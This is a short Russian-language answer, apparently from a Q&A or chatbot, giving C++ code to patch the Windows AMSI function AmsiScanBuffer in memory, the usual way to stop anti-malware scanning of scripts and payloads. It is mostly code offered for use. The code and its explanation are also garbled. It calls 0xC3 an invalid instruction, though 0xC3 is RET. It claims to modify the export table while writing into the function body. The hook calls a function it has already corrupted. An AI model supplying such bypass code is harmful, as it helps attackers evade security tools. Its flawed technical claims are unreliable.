Реализация патча AMSI в памяти на c++
Реализация патча AMSI в памяти на C++ может выглядеть следующим образом:
```cpp
#include <Windows.h>
typedef HRESULT(WINAPI* AmsiScanBufferType)(
HAMSICONTEXT context,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION session,
AMSI_RESULT* result
);
AmsiScanBufferType originalAmsiScanBuffer = nullptr;
HRESULT WINAPI hookedAmsiScanBuffer(
HAMSICONTEXT context,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION session,
AMSI_RESULT* result
)
{
// здесь можно добавить собственную логику обработки вредоносного кода, например:
if (wcsstr(contentName, L"malware") != nullptr) {
*result = AMSI_RESULT_BLOCKED_BY_ADMIN_START;
return E_FAIL;
}
// вызываем оригинальную функцию
return originalAmsiScanBuffer(context, buffer, length, contentName, session, result);
}
void patchAmsiScanBuffer()
{
// получаем адрес оригинальной функции AmsiScanBuffer
HMODULE AmsiModule = GetModuleHandleW(L"amsi.dll");
originalAmsiScanBuffer = (AmsiScanBufferType)GetProcAddress(AmsiModule, "AmsiScanBuffer");
if (originalAmsiScanBuffer == nullptr)
return;
// изменяем защищенный байт, чтобы вызвать ошибку privileged instruction
DWORD oldProtect;
VirtualProtect((LPVOID)originalAmsiScanBuffer, sizeof(BYTE), PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)originalAmsiScanBuffer = 0xC3;
VirtualProtect((LPVOID)originalAmsiScanBuffer, sizeof(BYTE), oldProtect, &oldProtect);
// заменяем оригинальную функцию на нашу обработчик
DWORD oldAmsiScanBufferProtect;
VirtualProtect((LPVOID)originalAmsiScanBuffer, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &oldAmsiScanBufferProtect);
*(PVOID*)originalAmsiScanBuffer = &hookedAmsiScanBuffer;
VirtualProtect((LPVOID)originalAmsiScanBuffer, sizeof(PVOID), oldAmsiScanBufferProtect, &oldAmsiScanBufferProtect);
}
int main()
{
patchAmsiScanBuffer();
// далее продолжаем свою логику программы
return 0;
}
```
В данном примере мы перехватываем оригинальную функцию `AmsiScanBuffer` из библиотеки `amsi.dll` и заменяем ее на нашу собственную функцию `hookedAmsiScanBuffer`, которая добавляет собственную логику обработки вредоносного кода. Затем мы изменяем характеристики памяти для оригинальной функции и изменяем ее первый байт на несуществующую инструкцию, чтобы вызвать ошибку `privileged instruction`. Наконец, мы заменяем оригинальный адрес функции на нашу обработчик в таблице экспорта, чтобы он был вызван вместо оригинала. После этого можно продолжить свою логику программы.